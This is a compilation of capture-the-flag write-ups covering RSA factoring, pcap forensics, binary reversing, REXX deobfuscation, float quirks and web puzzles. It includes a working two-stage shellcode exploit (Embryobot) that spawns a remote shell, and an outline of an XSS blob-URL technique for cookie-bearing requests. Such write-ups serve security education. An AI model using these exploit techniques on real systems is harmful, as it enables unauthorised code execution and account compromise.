Looking at `src.py` I saw that `N` is being calculated by `3 prime numbers` which is not best practice and can introduce potential vulnerabilities. The problem here is that calculating `r` from `q` and `q` from `p` like seen in the script makes it reversable. Knowing this I wrote a small python script to calculate the prime numbers from `N`. ```pyfrom sympy import Symbol, solve
p = Symbol('p')
n = 10565111742779621369865244442986012561396692673454910362609046015925986143478477636135123823568238799221073736640238782018226118947815621060733362956285282617024125831451239252829020159808921127494956720795643829784184023834660903398677823590748068165468077222708643934113813031996923649853965683973247210221430589980477793099978524923475037870799
# cubic equationequation = p**3 + 18*p**2 + 72*p - n
# solve equation to find psolutions = solve(equation, p)
# extract real solution for pp_value = Nonefor sol in solutions: if sol.is_real: p_value = sol break
if p_value is not None: # Calculate q and r q = p_value + 6 r = p_value + 12
print("p:", int(p_value)) print("q:", int(q)) print("r:", int(r))```
This revealed the `prime numbers` to me. ```p: 21942765653871439764422303472543530148312720769660663866142363370143863717044484440248869144329425486818687730842077q: 21942765653871439764422303472543530148312720769660663866142363370143863717044484440248869144329425486818687730842083r: 21942765653871439764422303472543530148312720769660663866142363370143863717044484440248869144329425486818687730842089```
Taking the prime numbers I was now easily able to decrypt the `ciphertext`. ```pyfrom Crypto.Util.number import inverse, long_to_bytes
p = 21942765653871439764422303472543530148312720769660663866142363370143863717044484440248869144329425486818687730842077q = 21942765653871439764422303472543530148312720769660663866142363370143863717044484440248869144329425486818687730842083r = 21942765653871439764422303472543530148312720769660663866142363370143863717044484440248869144329425486818687730842089n = p * q * re = 65537ct = 9953835612864168958493881125012168733523409382351354854632430461608351532481509658102591265243759698363517384998445400450605072899351246319609602750009384658165461577933077010367041079697256427873608015844538854795998933587082438951814536702595878846142644494615211280580559681850168231137824062612646010487818329823551577905707110039178482377985
# calculate totient of nphi = (p - 1) * (q - 1) * (r - 1)
# calculate private exponentd = inverse(e, phi)
# decrypt ciphertextpt = pow(ct, d, n)
# convert and decodeflag = long_to_bytes(pt).decode()
print(flag)```
Executing that solution script finishes the challenge. ```kali@kali python3 solve.pylactf{th4t_w45_n0t_so_53xY}```
|
[Original writeup](https://t3l3sc0p3.github.io/posts/knightctf-2024-writeup/#get-the-sword-100-pts) (https://t3l3sc0p3.github.io/posts/knightctf-2024-writeup/#get-the-sword-100-pts). |
This is the last challenge of DFIR, which asked you to find another TCP connection that gain access to MogamBro machine. Remember that we have trace.pcap and it’s not be analyzed:![](https://odintheprotector.github.io/assets/images/bitsctf2024/21.png)
First, to know what’s another TCP connection, I need to know how many connections are there, so I checked in memory file by **windows.netscan plugins**:![](https://odintheprotector.github.io/assets/images/bitsctf2024/22.png)
After that, you will check each connections, but these addresses are HTTP2, so their requests and responses are encrypted. To decrypt it we need key, and fortunately I found it in Desktop which is same directory with **keylog.pcapng**:![](https://odintheprotector.github.io/assets/images/bitsctf2024/23.png)
Now go to **Edit -> Preferences… -> Protocols -> Find TLS -> Import key -> Reload pcapng/pcap file**. And now we can read HTTP2/TLS packets, return to our mission, we need to read each connections to see if connections is suspicious and not in result of netscan. It took me a lot of time, and I found a connection which is not in netscan and it contains many pastebin links, also the flag ?:
![](https://odintheprotector.github.io/assets/images/bitsctf2024/24.png)
**FLAG: BITSCTF{5te4l1ng_pr1v47e_key5_ez:) }** |
Decompile the function with [https://dogbolt.org/](http://). Important code in Ghidra:
```undefined8 main(void)
{ puts("=====FLAG-GENERATOR-INATOR-3000====="); sleep(2); secretFunction(); sleep(2); return 0;}
void secretFunction(void)
{ int iVar1; time_t tVar2; int local_c; puts( " __ __ _______ _______ ___ _ _______ ______ __ __ _______ __ _ ____ _______ ____ _______ " ); sleep(1); puts( "| | | || _ || || | | || || _ | | |_| || _ || | | || | | _ || | | |" ); sleep(1); puts( "| |_| || |_| || || |_| || ___|| | || | || |_| || |_| | | | | | | | | | |___ |" ); sleep(1); puts( "| || || || _|| |___ | |_||_ | || || | | | | |_| | | | | |" ); sleep(1); puts( "| || || _|| |_ | ___|| __ || || || _ | | | |___ | | | | |" ); sleep(1); puts( "| _ || _ || |_ | _ || |___ | | | || ||_|| || _ || | | | | | | | | | | |" ); sleep(1); puts( "|__| |__||__| |__||_______||___| |_||_______||___| |_||_| |_||__| |__||_| |__| |___| |___| |___| |___|" ); sleep(3); puts(""); puts("==========================="); tVar2 = time((time_t *)0x0); srand((uint)tVar2); for (local_c = 0; local_c < 100; local_c = local_c + 0x14) { iVar1 = rand(); printf("Loading %d%\n",(ulong)(uint)(local_c + iVar1 % 0x13)); sleep(1); } puts("Program Complete."); sleep(2); puts("no flag for you :("); sleep(2); puts("bye."); return;}```
Clearly, running the function regularly calls the only secretFunction() and ends the program.
However, there's another function called printFlag! Maybe we can call that?
```void printFlag(void)
{ long lVar1; undefined8 *puVar2; undefined8 local_b8; undefined4 local_b0; .. (shortened for readability) undefined4 local_28; undefined4 local_24; int local_c; puVar2 = &local_b8; for (lVar1 = 0x14; lVar1 != 0; lVar1 = lVar1 + -1) { *puVar2 = 0; puVar2 = puVar2 + 1; } local_b8._0_4_ = 0x41; local_b8._4_4_ = 10; .. (shortened for readability) local_28 = 0x40; local_24 = 0x39; phase1(); phase2(); phase3(); phase4(); phase5(); phase6(); phase7(); phase8(); phase9(); phase10(); phase11(); phase12(); phase13(); phase14(); phase9(); phase2(); phase12(); phase2(); phase6(); phase7(); phase8(); phase11(); for (local_c = 0; local_c < 0x26; local_c = local_c + 1) { putchar(*(uint *)(keys + (long)local_c * 4) ^ *(uint *)((long)&local_b8 + (long)local_c * 4)); } puts(""); return;}```
Besides all the phases, which seem to mainly be there to make the code harder to read, this code seems like it probably will just print the flag!
Enter GDB and set a breakpoint at main. Run the program and enter "*call (int) printFlag()*" to get the flag!
TCP1P{here_my_number_so_call_me_maybe} |
See [https://blog.bawolff.net/2024/02/la-ctf-write-up-ctf-wiki.html](https://blog.bawolff.net/2024/02/la-ctf-write-up-ctf-wiki.html ) for full details
Essentially there is an XSS only when logged out. Use an iframe to view the XSS logged out. Inside that iframe make a blob url of an html document with a script. Navigate the parent window to that blob url. Script in blob url can now make AJAX requests with cookies as blob has same origin as the site that created it, but is now top level, so under cache partioning it is in same partion as the main site, instead of being considered an embedded context. |
# BraekerCTF 2024
## The mainframe speaks
> "Oh ancient robeth! All throughout the land they talk of you becoming obsolete. How is you? Are you in need of assistance?">>> "Obsolete? These bots must be abending. I'm working just fine you see. Young bots are the ones having all sorts of troubles, not us. We're maintained and properly managed. However, I do have this old code lying around, and I lost the documentation. Can you find it for me?">> Author: spipm>> [`chall.rexx`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/braekerctf24/rev/mainframe/chall.rexx)
Tags: _rev_
## SolutionFor this challenge we get a somewhat obfuscated [`REXX`](https://en.wikipedia.org/wiki/Rexx) script. There is a nice [`online compiler`](https://www.tutorialspoint.com/execute_rexx_online.php) that can help to make sense of this script. There only is a small disclaimer: The used [`Regina Rexx Interpreter`](https://regina-rexx.sourceforge.io/) character encoding does not match what was used on [`IBM Mainframe`](https://www.ibm.com/docs/en/zos-basic-skills?topic=mainframe-ebcdic-character-set), so all encoding functionality (`X2C`, `D2C`, ...) does return different values when the interpreter is used.
```bash/* REXX */
PARSE ARG _'{'!'}'_PARSE VAR ! ?_'_'_?_'_'_?_.='EM0';_._=_.WOA!'CEWL'
A=\VERIFY(?_,_._)&\ABBREV(D2C(15123923),?_,3)B=POS(0,?_)=5&LENGTH(?_)=7
E.1='9DA8ADAE9FB9BB0137108E8D11363D1DB0'E.2='8BBE98BD36021C32888E00350126231C9E2126301C2500000A251188B11D2BB31D'E.3='25BBAC3301243316302334002435163524330024321636233200153513351733072437B0B5B0813F'E.4='8B8EAD24021788240C3024260D882537348E12300704260A8E9DAF8E8BAE22A80989988D222100BD17981D1D'E.5='8B8EBEBD2631003F16122BBDA91C9B27370112371CABA8A888019F378D3421A80289AE8BBE98B89B25351D'E.6='2F0393B89D841303000A10313C888B8EA8A89D9FA8BBBBBEACB0370D23109361717C850E537783774266A6665B46B05256C1C7'
IF A&B THEN DO i = 1 TO 6 BC = X2C(E.i) NC = ABS(LENGTH(BC)%LENGTH(?_)) BCD = BITXOR(BC,COPIES(?_,NC),' ') interpret BCD ENDELSE say oof no flag```
Armed with this knowledge we can start. The first two lines do some input parsing: `PARSE ARG` will take input arguments and match them for a given pattern. The input starts and ends with a placeholder (`_`) that is ignored. Then curly opening and closing braces are assumed and the content between the braces is written to a variable called `!`. This for sure looks like the flag format `brck{<content here>}`. The second step is to split the extracted content into three parts, each seperated by a underscore `_`, the first part is written to a variable named `?_`, the middle part is written to a variable named `_?_` and the last part is written to a variable named `_?`.
The fact that `REXX` supports variables named like this makes the code less readable and obfuscated. But as we know about this, we really don't care too much.
```bash_.='EM0';_._=_.WOA!'CEWL'
A=\VERIFY(?_,_._)&\ABBREV(D2C(15123923),?_,3)B=POS(0,?_)=5&LENGTH(?_)=7```
Moving on, there are two more variables initialized, one is called `_.` and gets the value `EM0`, the second one is called `_._` and gehts the value `EM0CEWL` (taking _. into account). Then `VERIFY` is called. According to [`VERIFY`](https://www.ibm.com/docs/en/zos/2.1.0?topic=functions-verify).
> returns a number that, by default, indicates whether string is composed only of characters from reference; returns 0 if all characters in string are in reference, or returns the position of the first character in string not in reference.
This line checks for the first character of the first flag part that is **not** contained in `EM0CEWL`. If no such character is found `VERIFY` returns `0` and is negated by the `\` operator just before the functions call, effectively inverting the value to `1`. We can assume now that the first part is made out of the characters `EM0CEWL`.
The second condition uses [`ABBREV`](https://www.ibm.com/docs/en/zos/2.1.0?topic=functions-abbrev-abbreviation). The documentation states
> returns 1 if info is equal to the leading characters of information and the length of info is not less than length. Returns 0 if either of these conditions is not met.
The first parameter is `D2C(15123923)`. The function `D2C` converts a decimal to a character representation, here the online compiler fails and we have to do it manually (using [`CyberChef`](https://gchq.github.io/CyberChef/), or [`python`](https://pypi.org/project/ebcdic/)). If we do it correct we see that the converted number results in the string `WEL`.
Right, back to `ABBREV`, we can simplify this to `ABBREV("WEL",?_,3)` so this would return 1 if `WEL` starts with the first flag part. Meaning the first flag part can only be `W`, `WE` or `WEL`. If we peek further down, we see another condition `LENGTH(?_)=7`, the first flag part is 7 characters long. How can this be? But the return value of `ABBREV` is negated, so in total `A` is 1. Thinking about this, this looks like a bug and the line should read actually:
```bashA=\VERIFY(?_,_._)&ABBREV(?_,D2C(15123923))```
This would test successfully for the correct alphabet and check **if the first flag parts starts with `WEL`**. If both conditions are given, `A` is set to 1. The next line reads:
```bashB=POS(0,?_)=5&LENGTH(?_)=7```
This is fairly easy, the 5th character of our first flag part needs to be `0` and the first flag part is 7 characters long in total. We get `WEL?0??`, in our alphabet we have `E` and `C` left to distribute, so we can guess the first flag part is `WELC0ME`.
A bit further down, we can see that `A` and `B` need to be both set to `1` in order to let the script proceed. Otherwise the program exits with the line `say oof no flag`.
```bashIF A&B THEN /*...*/ELSE say oof no flag```
Right, we have two parts left. We have this loop that goes over the array `E` and does some encryption. First the hex-string is converted to a character string. Then we check how often the first flag part fits into the line we want to decode (mind that `%` is the division in `REXX`). Finally we do a bitwise xor (`BITXOR` on the encoded line and repeated copies of the first flag part). This should give us more `REXX` code that is invoked with an `interpret` call.
```bashE.1='9DA8ADAE9FB9BB0137108E8D11363D1DB0'E.2='8BBE98BD36021C32888E00350126231C9E2126301C2500000A251188B11D2BB31D'E.3='25BBAC3301243316302334002435163524330024321636233200153513351733072437B0B5B0813F'E.4='8B8EAD24021788240C3024260D882537348E12300704260A8E9DAF8E8BAE22A80989988D222100BD17981D1D'E.5='8B8EBEBD2631003F16122BBDA91C9B27370112371CABA8A888019F378D3421A80289AE8BBE98B89B25351D'E.6='2F0393B89D841303000A10313C888B8EA8A89D9FA8BBBBBEACB0370D23109361717C850E537783774266A6665B46B05256C1C7'
DO i = 1 TO 6 BC = X2C(E.i) NC = ABS(LENGTH(BC)%LENGTH(?_)) BCD = BITXOR(BC,COPIES(?_,NC),' ') interpret BCDEND```
Lets write a python script that does this for us:
```pythonimport ebcdicfrom pwn import xor
e = [ '9DA8ADAE9FB9BB0137108E8D11363D1DB0', '8BBE98BD36021C32888E00350126231C9E2126301C2500000A251188B11D2BB31D', '25BBAC3301243316302334002435163524330024321636233200153513351733072437B0B5B0813F', '8B8EAD24021788240C3024260D882537348E12300704260A8E9DAF8E8BAE22A80989988D222100BD17981D1D', '8B8EBEBD2631003F16122BBDA91C9B27370112371CABA8A888019F378D3421A80289AE8BBE98B89B25351D', '2F0393B89D841303000A10313C888B8EA8A89D9FA8BBBBBEACB0370D23109361717C850E537783774266A6665B46B05256C1C7' ]
key = "WELC0ME".encode("cp1047")
for line in e: tmp = bytes.fromhex(line) print(xor(tmp, key).decode("cp1047"))```
```bash$ python decode.py#_=_?_=X2C('E3ûQÄ_#.=FORM()CENTER(SOURCELINE(ïQ8øÒC="01060507000007000703010A050D0702îøÄâõ_.=X2C(BITXOR(C2X(SUBSTR(_#._,1,9)),X2C(C)ÛQ_._=OVERLAY('R'SUBSTR(_#.1.2,12,2),_#.#,10ÛIF #_&OVERLAY(_.#,_._)=_? THEN say You got the fl\x1b```
Something did work, but not completely. The end of the lines are all messed up.. Very sad... Lets go back to reading the [`documentation`](https://www.ibm.com/docs/en/zos/2.1.0?topic=functions-bitxor-bit-by-bit-exclusive).
> returns a string composed of the two input strings logically eXclusive-ORed together, bit by bit. (The encoding of the strings are used in the logical operation.) The length of the result is the length of the longer of the two strings. If no pad character is provided, the XOR operation stops when the shorter of the two strings is exhausted, and the unprocessed portion of the longer string is appended to the partial result. If pad is provided, it extends the shorter of the two strings on the right before carrying out the logical operation. The default for string2 is the zero length (null) string.
Ah, we have a value for `pad`, the code gives a space for the remaining characters at line end. So lets fix this.
```pythonimport ebcdicfrom pwn import xor
e = [ '9DA8ADAE9FB9BB0137108E8D11363D1DB0', '8BBE98BD36021C32888E00350126231C9E2126301C2500000A251188B11D2BB31D', '25BBAC3301243316302334002435163524330024321636233200153513351733072437B0B5B0813F', '8B8EAD24021788240C3024260D882537348E12300704260A8E9DAF8E8BAE22A80989988D222100BD17981D1D', '8B8EBEBD2631003F16122BBDA91C9B27370112371CABA8A888019F378D3421A80289AE8BBE98B89B25351D', '2F0393B89D841303000A10313C888B8EA8A89D9FA8BBBBBEACB0370D23109361717C850E537783774266A6665B46B05256C1C7' ]
key = "WELC0ME".encode("cp1047")space = " ".encode("cp1047")
for line in e: tmp = bytes.fromhex(line) # repeat full key as often as possible key_ = key * (len(tmp) // len(key))
# pad the remaining difference with spaces key_ = key_ + space * (len(tmp) - len(key))
# decode the full line and print it decoded_line = bytes([c ^ k for c, k in zip(tmp, key_)])
print(decoded_line.decode("cp1047"))```
```bash$ python decode.py#_=_?_=X2C('E3')0_#.=FORM()CENTER(SOURCELINE(1),3)C="01060507000007000703010A050D0702050A"_.=X2C(BITXOR(C2X(SUBSTR(_#._,1,9)),X2C(C)))_._=OVERLAY('R'SUBSTR(_#.1.2,12,2),_#.#,10)IF #_&OVERLAY(_.#,_._)=_? THEN say You got the flag```
Now this worked. Here we have even more code to reverse. Lets start one by one. The first line checks if the second flag part is equal to `T0` (0xe3 decodes as `T` and the 0 is concatinated) and the result is stored to variable `#_`. This gives us the second part of the flag: `T0`.
```bash#_=_?_=X2C('E3')0```
The next line calls [`FORM`](https://www.tutorialspoint.com/rexx/rexx_form.htm) that `This method returns the current setting of ‘NUMERIC FORM’ which is used to do mathematic calculations on the system` and gives `SCIENTIFIC` as first part of the string. The next part comes from `CENTER(SOURCELINE(1),3)`. [`SOURCELINE`](https://www.ibm.com/docs/en/zos/2.4.0?topic=functions-sourceline) gives is the script source at the given line, that is the initial comment `/* REXX */`.
[`CENTER`](https://www.ibm.com/docs/en/zos/2.1.0?topic=functions-centercentre) does the following:
> returns a string of length length with string centered in it, with pad characters added as necessary to make up length.
The resulting string is `REX` and `-#.` gets the value `SCIENTIFICREX` after concatenation. The next two lines are again decoding some xor encrypted value stored in `C`. We can go back to our python script to work around the `ebcdic` encoding issue.
```pythonimport ebcdicfrom pwn import xor
key = "SCIENTIFI".encode("cp1047").hex().encode()C = "01060507000007000703010A050D0702050A"msg = bytes.fromhex(xor(bytes.fromhex(C), key).decode()).decode("cp1047")print(msg)```
If we run this script, we can see the decoded value is `M4INFR4M3`. The next line uses [`OVERLAY`](https://www.ibm.com/docs/en/zos/2.1.0?topic=functions-overlay). `R` is concatenated with the last two characters of `SCIENTIFICREX`, giving us `REX`. The overlay overrides the characters 10, 11 and 12 of `SCIENTIFICREX` with `REX` giving us a final result of `SCIENTIFIREXX` for variable `_._`.
The last line does the final verification. First it checks if the middle part of the flag was tested correct before. Then `OVERLAY` is used once more, this time `M4INFR4M3`is overlayed onto `SCIENTIFIREXX` leaving us with `M4INFR4M3REXX`. This value is tested against the last part of the flag. Building all the parts together gives us finally the flag.
Flag `brck{WELC0ME_T0_M4INFR4M3REXX}` |
# BraekerCTF 2024
## e
> "Grrrrr". This robot just growls. The other bots tell you that it is angry because it can't count very high. Can you teach it how?>> Author: spipm>> [`e.cpp`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/braekerctf24/misc/e.cpp)
Tags: _misc_
## SolutionWe get a small c++ that does three stages of tests and gives us the flag if we succeed all stages.
So, lets tackle this one by one:
```c++bool flow_start() {
// Get user input float a = get_user_input("Number that is equal to two: ");
// Can't be two if (a <= 2) return false;
// Check if equal to 2 return (unsigned short)a == 2;}```
The user input is stored as float and then cast to an `unsigned short`. Here we can use the integer overflow at 16-bit to get back to value `2`. Passing in `65538` will overflow the maximum value by 3 (0xffff-65538 = -3) giving us the value 2.
```bash$ nc 0.cloud.chals.io 30531Welcome!Number that is equal to two:65538Well done! This is the second round:```
Lets move on to the second stage.
```c++bool round_2() {
float total = 0;
// Sum these numbers to 0.9 for (int i = 0; i < 9; i++) total += 0.1;
// Add user input total += get_user_input("Number to add to 0.9 to make 1: ");
// Check if equal to one return total == 1.0;}```
This is a typical precision issue. Mathematically we need to add `0.1` but that will overshoot by a tiny amount giving us something line ~`1.00000012`. We rather give `0.0999999` to get to the sum of `1.0`.
```bashNumber to add to 0.9 to make 1:0.0999999Great! Up to level three:```
Perfect, now for the last stage.
```c++bool level_3() {
float total = 0;
unsigned int *seed; vector<float> n_arr;
// Random seed seed = (unsigned int *)getauxval(AT_RANDOM); srand(*seed);
// Add user input add_user_input(&n_arr, "Number to add to array to equal zero: ");
// Add many random integers for (int i = 0; i < 1024 * (8 + rand() % 1024); i++) n_arr.push_back((rand() % 1024) + 1);
// Add user input add_user_input(&n_arr, "Number to add to array to equal zero: ");
// Get sum for (int i = 0; i < n_arr.size(); i++) total += n_arr[i];
// Check if equal to zero return total == 0;}```
Here we can specify two numbers. After the first number a random number of float values is put into an array. After this we can specify a final number. The test succeeds if the sum of all the numbers is `0`. Since there is no way to know what the sum of the random numbers is we have to find another way. Thankfully we can squeeze the faily small values (range between 1 and 1024) by just specifying a very big value at the beginning and a big negative value at the end. This rendering the random values pretty much without any impact and leading to the sum of zero.
```bashNumber to add to array to equal zero:30000000000Number to add to array to equal zero:-30000000000Well done! Here is the flag: brck{Th3_3pS1l0n_w0rkS_In_M15t3riOuS_W4yS}```
Flag `brck{Th3_3pS1l0n_w0rkS_In_M15t3riOuS_W4yS}` |
# LACTF 2023
## shattered-memories
> I swear I knew what the flag was but I can't seem to remember it anymore... can you dig it out from my inner psyche?> > Author: aplet123> > [`shattered-memories`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/rev/shattered_memories/shattered-memories)
Tags: _rev_
## SolutionInspecting the given binary with Ghidra gives a fairly small `main` function to look at. The user is prompted for input, then the input is checked to be of length `40`. Afterwards a various parts of the input are compared to strings and for each comparison a counter is increased. If the counter hits value `5` we get the message `Yes! That's it! That's the flag! I remember now!`.
To retrieve the flag all comparisons need to succeed, the only thing to do is, to sort the parts and concatinate them to get the flag.
```c++undefined8 main(void){ int iVar1; size_t sVar2; undefined8 uVar3; char local_98 [8]; char acStack_90 [8]; char acStack_88 [8]; char acStack_80 [8]; char acStack_78 [108]; int local_c; puts("What was the flag again?"); fgets(local_98,0x80,stdin); strip_newline(local_98); sVar2 = strlen(local_98); if (sVar2 == 0x28) { local_c = 0; iVar1 = strncmp(acStack_90,"t_what_f",8); local_c = local_c + (uint)(iVar1 == 0); iVar1 = strncmp(acStack_78,"t_means}",8); local_c = local_c + (uint)(iVar1 == 0); iVar1 = strncmp(acStack_80,"nd_forge",8); local_c = local_c + (uint)(iVar1 == 0); iVar1 = strncmp(local_98,"lactf{no",8); local_c = local_c + (uint)(iVar1 == 0); iVar1 = strncmp(acStack_88,"orgive_a",8); local_c = local_c + (uint)(iVar1 == 0); switch(local_c) { case 0: puts("No, that definitely isn\'t it."); uVar3 = 1; break; case 1: puts("I\'m pretty sure that isn\'t it."); uVar3 = 1; break; case 2: puts("I don\'t think that\'s it..."); uVar3 = 1; break; case 3: puts("I think it\'s something like that but not quite..."); uVar3 = 1; break; case 4: puts("There\'s something so slightly off but I can\'t quite put my finger on it..."); uVar3 = 1; break; case 5: puts("Yes! That\'s it! That\'s the flag! I remember now!"); uVar3 = 0; break; default: uVar3 = 0; } } else { puts("No, I definitely remember it being a different length..."); uVar3 = 1; } return uVar3;}```
Flag `lactf{not_what_forgive_and_forget_means}` |
# BraekerCTF 2024
## Embryobot
> "This part will be the head, " the nurse explains. The proud android mother looks at her newborn for the first time. "However, " the nurse continues, "we noticed a slight growing problem in its code. Don't worry, we have a standard procedure for this. A human just needs to do a quick hack and it should continue to grow in no time.">>>The hospital hired you to perform the procedure. Do you think you can manage?>>The embryo is:f0VMRgEBAbADWTDJshLNgAIAAwABAAAAI4AECCwAAAAAAADo3////zQAIAABAAAAAAAAAACABAgAgAQITAAAAEwAAAAHAAAAABAAAA==>> Author: spipm>
Tags: _rev_
## SolutionFor this challenge we don't get a attached file but there is a string that suspiciously looks like `base64` encoded data. Extracting the data and calling `file` on it gives us some insight. The decoded file is a `ELF` file containing compiled `80386` code. Sadly opening the file with `Ghidra` doesnt give us very good results.
```bash$ echo "f0VMRgEBAbADWTDJshLNgAIAAwABAAAAI4AECCwAAAAAAADo3////zQAIAABAAAAAAAAAACABAgAgAQITAAAAEwAAAAHAAAAABAAAA==" | base64 -d > foo$ file foofoo: ELF 32-bit LSB executable, Intel 80386, version 1, statically linked, no section header```
Since the file is onle `76 bytes` small this could be some sort of [`Tiny ELF`](https://nathanotterness.com/2021/10/tiny_elf_modernized.html) with all kinds of hacky packing magic going on. As the article well describes, there are `header parts` that can contain processor instructions even though the parts are not ment to contain executable code. But this way functionality can be interleaved with header data generating very small but functioning executable files.
My approach here is to check out regions that cannot be changed and `nop them out` (writing `nop` instructions to this regions) so that we get a more meaningful `disassembly` result. The full hexdump of the file is small, so here is it for reference. As example, the first 10 bytes are: a 4 byte constant signature (EI_MAG), 2 byte first if the executable is targeting 32 bit architectures and second if data is layed out in little endian byteorder (EI_CLASS, EI_DATA) and 4 bytes describing the version (EI_VERSION) (see [`Executable and Linkable Format`](https://en.wikipedia.org/wiki/Executable_and_Linkable_Format)). The signature and class/data cannot be changed so we replace them with `nop` instructions. The EI_VERSION though seems off, it should be `01 00 00 00` so we replace the first byte only, keeping the rest intact for later.
```bash00000000 7F 45 4C 46 01 01 01 B0 03 59 30 C9 B2 12 CD 80 .ELF.....Y0.....00000010 02 00 03 00 01 00 00 00 23 80 04 08 2C 00 00 00 ........#...,...00000020 00 00 00 E8 DF FF FF FF 34 00 20 00 01 00 00 00 ........4. .....00000030 00 00 00 00 00 80 04 08 00 80 04 08 4C 00 00 00 ............L...00000040 4C 00 00 00 07 00 00 00 00 10 00 00 L...........```
```bash00000000 90 90 90 90 90 90 90 B0 03 59 30 C9 B2 12 CD 80 .ELF.....Y0.....00000010 02 00 03 00 01 00 00 00 23 80 04 08 2C 00 00 00 ........#...,...00000020 00 00 00 E8 DF FF FF FF 34 00 20 00 01 00 00 00 ........4. .....00000030 00 00 00 00 00 80 04 08 00 80 04 08 4C 00 00 00 ............L...00000040 4C 00 00 00 07 00 00 00 00 10 00 00 L...........```
Another interesting bit is the `entry pointer` that is located at offset `18h`. As data is stored in little endian order the entry point is at `8048023h`. This containing the `base address of 8048000h` so the offset within our file is `23h` (starting with the bytes `E8 DF FF FF FF 34...`). Lets see if we get this offset in our disassembly, since we know this has to be valid instructions:
```bash$ objdump -D -Mintel,i386 -b binary -m i386 foo...24: df ff (bad)26: ff (bad)27: ff 90 00 20 00 01 call DWORD PTR [eax+0x1002000]...35: 80 04 08 00 add BYTE PTR [eax+ecx*1],0x0...```
Sadly this is not the case, so we go back to nop out the bytes immediately before the `entry` to help the disassembler a bit. Adding just one nop right before our entry offset unveiles the correct instruction:
```bash22: 90 nop ; our nop we added23: e8 df ff ff ff call 0x7 ; call to 7h28: 34 00 xor al,0x0 ; bad code from here```
Right, the first thing what the program does after loading is to call to offset `7h`. Luckily we didn't destroy the bytes before.
```bash00000000 90 90 90 90 90 90 90 B0 03 59 30 C9 B2 12 CD 80 .........Y0.....00000010 02 00 03 00 01 00 00 00 23 80 04 08 2C 00 00 00 ........#...,...00000020 00 00 90 E8 DF FF FF FF 34 00 20 00 01 00 00 00 ........4. .....00000030 00 00 00 00 00 80 04 08 00 80 04 08 4C 00 00 00 ............L...00000040 4C 00 00 00 07 00 00 00 00 10 00 00 L...........```
```bash0: 90 nop ; nops we added before1: 90 nop2: 90 nop3: 90 nop4: 90 nop5: 90 nop6: 90 nop7: b0 03 mov al,0x3 ; to this offset the first jump goes. this looks like valid9: 59 pop ecx ; code setting up an interrupt call. calling syscall read (eax=3)a: 30 c9 xor cl,cl ; writing to the base address (ecx=base address), readingc: b2 12 mov dl,0x12 ; a total of 18h bytes (edx=12h), from fd 0 (ebx=0)e: cd 80 int 0x8010: 02 00 add al,BYTE PTR [eax] ; ... again nonsense data ...```
The read offset is calculated by popping the return address off the stack (remember, the programm called to offset 5h and a call pushes the offset of the next instruction onto the stack). But the write goes not to the next instruction, but to the `start of the image`. Why is this, you might ask? If we look at the instruction at offset `59h` we see `xor cl, cl` that effectively sets the lowest 8 bit of register `ecx` to zero, leaving is with the base address only (see [`https://x86.syscall.sh/`](https://x86.syscall.sh/)).
Now we know what the program is doing. It reads input from `stdin` and overrides the program code itself with `18` bytes of data. Its important to note that it's exactly 18 bytes, since the interrupt is called at `0eh` the next two bytes are byte 16 and 17. It's important since these are the next instructions executed when the processor returns from the read interrupt. So we can basically define ourself what the processor does next (for instance jumping back to base to execute shellcode we inject).
So we can basically inject 18 bytes of code ourself. To get us a shell for instance. As 18 bytes is fairly small, we can do two stages. First injecting the same code again, but specifying more bytes that are read and then, when we are not space limited anymore, injecting code that gives us shell.
So stage one looks like this (18 bytes in total)```bashnopnopnopnopnopnopnopmov al,0x3 ; same as before...add ecx, 0x10 ; ...but we start writing to base+10h mov dl, 0x7f ; ...and with way more bytes that can be readint 0x80jmp ecx ; jump back to base address (nop slide down) and read again```
Right, if we send this (as shellcode) to the program, the program reads again, but now without a strict limitation. Now we can inject any shellcode we like (for comfort just using `shellcraft`). Also we don't write to the base again, but directly starting with the offset the next instruction is executed (10h). The process basically looks like this:
![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/braekerctf24/rev/embryobot/process.png)
```pythonfrom pwn import *
p = remote("0.cloud.chals.io", 20922)
stage1 = asm(""" nop nop nop nop nop nop nop mov al, 0x3 add ecx, 0x10 mov dl, 0x7f int 0x80 jmp ecx""")
p.send(stage1)p.send(asm(shellcraft.sh()))p.interactive()```
Running this gives us shell and we can get the flag
```bash$ python blub.py[+] Opening connection to 0.cloud.chals.io on port 20922: Done[*] Switching to interactive mode$ lsbabybotflag.txt$ cat flag.txtbrck{Th3_C1rcl3_0f_l1f3}$ exit[*] Got EOF while reading in interactive$```
Flag `brck{Th3_C1rcl3_0f_l1f3}` |
# LACTF 2023
## terms-and-conditions
> Welcome to LA CTF 2024! All you have to do is accept the terms and conditions and you get a flag!> > Author: aplet123>
Tags: _web_
## SolutionWe get a very colorful static page where we'r supposed to click the `I Accept` button. The button though moves away from our mousepointer. So lets inspect the page source.
![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/lactf24/web/terms_and_cond/page.png)
```javascriptconst accept = document.getElementById("accept"); document.body.addEventListener("touchstart", (e) => { document.body.innerHTML = "<div><h1>NO TOUCHING ALLOWED</h1></div>"; }); let tx = 0; let ty = 0; let mx = 0; let my = 0; window.addEventListener("mousemove", function (e) { mx = e.clientX; my = e.clientY; }); setInterval(function () { const rect = accept.getBoundingClientRect(); const cx = rect.x + rect.width / 2; const cy = rect.y + rect.height / 2; const dx = mx - cx; const dy = my - cy; const d = Math.hypot(dx, dy); const mind = Math.max(rect.width, rect.height) + 10; const safe = Math.max(rect.width, rect.height) + 25; if (d < mind) { const diff = mind - d; if (d == 0) { tx -= diff; } else { tx -= (dx / d) * diff; ty -= (dy / d) * diff; } } else if (d > safe) { const v = 2; const offset = Math.hypot(tx, ty); const factor = Math.min(v / offset, 1); if (offset > 0) { tx -= tx * factor; ty -= ty * factor; } } accept.style.transform = `translate(${tx}px, ${ty}px)`; }, 1); let width = window.innerWidth; let height = window.innerHeight; setInterval(function() { if (window.innerHeight !== height || window.innerWidth !== width) { document.body.innerHTML = "<div><h1>NO CONSOLE ALLOWED</h1></div>"; height = window.innerHeight; width = window.innerWidth; } }, 10);```
There's a very naive anti debuggin technique implemented. When the browser window changes in size `NO CONSOLE ALLOWED` is displayed. This can be shipped around by just refreshing the page or undocking the `developer tools panel`.
The button movement is done via `setInterval`. Therefore clearing the interval would keep the button in place. Another solution would be to trigger the click event via console. Either way, we get the flag.
```javascript> clearInterval(1)< undefined```
```javascript> document.getElementById("accept").click()< undefined```
